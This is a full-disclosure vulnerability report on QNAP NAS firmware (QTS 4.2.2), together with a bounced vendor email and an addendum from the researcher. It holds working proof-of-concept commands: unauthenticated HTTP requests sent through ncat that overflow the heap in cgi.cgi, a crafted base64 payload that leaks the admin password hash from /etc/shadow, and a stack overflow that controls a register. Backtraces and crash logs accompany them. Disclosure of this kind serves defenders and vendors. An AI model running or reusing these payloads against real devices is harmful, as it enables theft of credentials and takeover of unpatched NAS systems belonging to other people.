Greetings,

Twice I tried to use the QNAP Web page (https://aid.qnap.com/event/_module/nas/safe_report/) for reporting vulnerability, and twice I got mailer-daemon back.

So, Iall post my vulnerabilities here instead (Was not meant to be 0-daya| whatever).

Have a nice day (and happy new year)
/bashis

==================
1) [Heap overflow]
==================

Path: /home/httpd/cgi-bin/cgi.cgi
u = valid user [guest|admin]

1.1)

/* Remote */

[Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done` HTTP/1.0\nHost: QNAP\n\n" | ncat --ssl 192.168.5.7 443

HTTP/1.1 200 OK
Date: Sat, 31 Dec 2016 00:01:11 GMT
*** glibc detected *** cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***
======= Backtrace: =========
======= Memory map: ========
08048000-08069000 r-xp 00000000 00: 0e 7559                               /home/httpd/cgi-bin/authLogin.cgi
08069000-0806b000 rw-p 00020000 00: 0e 7559                               /home/httpd/cgi-bin/authLogin.cgi
0806b000-0808c000 rw-p 00000000 00: 00 0                                  [heap]
[====SNIP====]
ffe53000-ffe54000 rw-p 00000000 00: 00 0
Content-Length: 0
Connection: close
Content-Type: text/plain

[Remote host]# 

=======

1.2)

/* Local test, to get more info from backtrace */

# export QUERY_STRING="u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done`"
# ./cgi.cgi 

*** glibc detected *** ./cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***
======= Backtrace: =========
/lib/libc.so.6[0xf6c3da62]
/lib/libc.so.6(cfree+0x89)[0xf6c3f729]
/lib/libc.so.6(fclose+0x136)[0xf6c2e5c6]
/lib/libnss_compat.so.2[0xf6b8ac25]
/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6b8b282]
/lib/libc.so.6(getspnam_r+0x77)[0xf6c9ef57]
/lib/libc.so.6(getspnam+0x78)[0xf6c9e3f8]
/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7518972]
/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7518f66]
/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf7519098]
./cgi.cgi[0x80502ed]
./cgi.cgi[0x8051a7e]
/lib/libc.so.6(__libc_start_main+0xe0)[0xf6bedf90]
./cgi.cgi[0x804d151]
======= Memory map: ========
08048000-08069000 r-xp 00000000 00:0e 7559                               /home/httpd/cgi-bin/authLogin.cgi
08069000-0806b000 rw-p 00020000 00:0e 7559                               /home/httpd/cgi-bin/authLogin.cgi
0806b000-0808c000 rw-p 00000000 00:00 0                                  [heap]
[====SNIP====]
ffd9e000-ffdbe000 rwxp 00000000 00:00 0                                  [stack]
ffdbe000-ffdbf000 rw-p 00000000 00:00 0 
Aborted
# 

1.3)
# export QUERY_STRING="u=admin&p=`for((i=0;i<5957;i++));do echo -en "A";done`"
# ./cgi.cgi                                                                   
*** glibc detected *** : free(): invalid next size (normal): 0x0806e508 ***
======= Backtrace: =========
/lib/libc.so.6[0xf6c9da62]
/lib/libc.so.6(cfree+0x89)[0xf6c9f729]
/lib/libc.so.6(fclose+0x136)[0xf6c8e5c6]
/lib/libnss_compat.so.2[0xf6beac25]
/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6beb282]
/lib/libc.so.6(getspnam_r+0x77)[0xf6cfef57]
/lib/libc.so.6(getspnam+0x78)[0xf6cfe3f8]
/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7578972]
/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7578f66]
/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf7579098]
[0x80502ed]
[0x0]
======= Memory map: ========
08048000-08069000 r-xp 00000000 00:0e 6705                               /home/httpd/cgi-bin/authLogin.cgi
08069000-0806b000 rw-p 00020000 00:0e 6705                               /home/httpd/cgi-bin/authLogin.cgi
0806b000-0808c000 rw-p 00000000 00:00 0                                  [heap]
[====SNIP====]
# ./cgi.cgi 
Segmentation fault
# 
# dmesg
[====SNIP====]
[ 2185.562493] cgi.cgi[17772]: segfault at ff9a4010 ip 00000000f6bd75c3 sp 00000000ff99f1bc error 4 in libc-2.6.1.so[f6b6b000+12d000]
[====SNIP====]


/* Local as shown below, but can of course be called from remote */

==================
2) [STACK junk]
==================

# export QUERY_STRING="bug" 
# ./jc.cgi                 
Segmentation fault
# dmesg 
[====SNIP====]
[76277.192562] jc.cgi[18159]: segfault at 0 ip 00000000f6cbdffc sp 00000000ffeddbbc error 4 in libc-2.6.1.so[f6c52000+12d000]
[====SNIP====]

==================
3) [STACK junk]
==================

/* Local as shown, but can be called from remote */

# export QUERY_STRING="bug" 
# ./mediaGet.cgi
Segmentation fault
# dmesg 
[====SNIP====]
[76802.837766] mediaGet.cgi[6589]: segfault at 0 ip 00000000f6bd8ffc sp 00000000ffc0498c error 4 in libc-2.6.1.so[f6b6d000+12d000]
[====SNIP====]



Have a nice day (and happy new year)
/bashis

========================

    Hello mcw@noemail.eu,
    
    We're writing to let you know that the group you tried to contact (security) may not exist, or you may not have permission to post messages to the group. A few more details on why you weren't able to post:
    
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    If you have questions related to this or any other Google Group, visit the Help Center at https://support.google.com/a/qnap.com/bin/topic.py?topic=25838.
    
    Thanks,
    
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    Date: Sun, 1 Jan 2017 03:50:06 +0800
    Return-Path: mcw@noemail.eu
    To: security@qnap.com
    From: bashis mcw <mcw@noemail.eu>
    Subject: Reporting Security Issues - [Critical] QNAP NAS devices suffer of Heap Overflow!
    Message-ID: <5acc9d206d9601dc574a02b114c83e8a@aid.qnap.com>
    X-Priority: 3
    X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net)
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    Category : Administration
    
    
    Subject : QNAP NAS devices suffer of Heap Overflow!
    Severity Level : Critical
    Description : 
    
    Greetings gents,
    
    QNAP NAS devices suffer from a critical Heap Overflow in "cgi.cgi" and
    non critical stack crash in "jc.cgi and mediaGet.cgi".
    
    Successful exploitation of this heap overflow vulnerability can lead to
    unauthorised root (admin) privileges on QNAP devices with anonymous
    access. (no credential needed to exploit)
    
    Please note: 1st February 2017 i will release details of these bugs to
    Full Disclosure and Bugtraq e-mail lists.
    
    Please see below and attached.
    
    Have a nice day (and happy new year)
    /bashis
    
    ==================
    1) [HEAP overflow]
    ==================
    
    Path: /home/httpd/cgi-bin/cgi.cgi
    u = valid user [guest|admin]
    
    1.1)
    
    /* Remote */
    
    [Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i
    
    
    
    Sign Time : 2017/01/01 03:50:06
    
    




Additional information from the researcher provided on 2017/01/02:


Read admin password from /etc/shadow (loaded in heap at address 0x0806ce56)

[Remote Host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<4467;i++));do echo -en "B";done | base64 -w 0 ; echo -en "D\x56\xce\x06\x08" | base64 -w 0`  HTTP/1.0\nHost: BUG\n\n" | ncat --ssl 192.168.5.7 443 | grep glibc
*** glibc detected *** $1$$8lBa9PhdBbp9/AeeTXXXXX: free(): invalid next size (normal): 0x0806e510 ***
[Remote Host]#

Device: QNAP TS-251+
FW Version: QTS 4.2.2 (Build 20161214)

/bashis

    And also;
    
    ==================
    [Stack overflow]
    ==================
    
    [Remote Host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<1489;i++));do echo -en "QUFB";done``echo -en "QUJCQkI="` HTTP/1.0\nHost: BUG\n\n” | ncat --ssl 192.168.5.7 443
    HTTP/1.1 200 OK
    Date: Mon, 02 Jan 2017 11:59:24 GMT
    Content-Length: 0
    Connection: close
    Content-Type: text/plain
    
    [Remote Host]# 
    
    ====
    
    [Local Host]# dmesg | grep 42424242
    [161034.536318] cgi.cgi[28705]: segfault at 42424242 ip 00000000f6c1159b sp 00000000fffe84fc error 4 in libc-2.6.1.so[f6ba5000+12d000]
    [Local Host]#
    
    [QUJCQkI=] -> Base64encode -> [BBBB]
    
    Have a nice day
    /bashis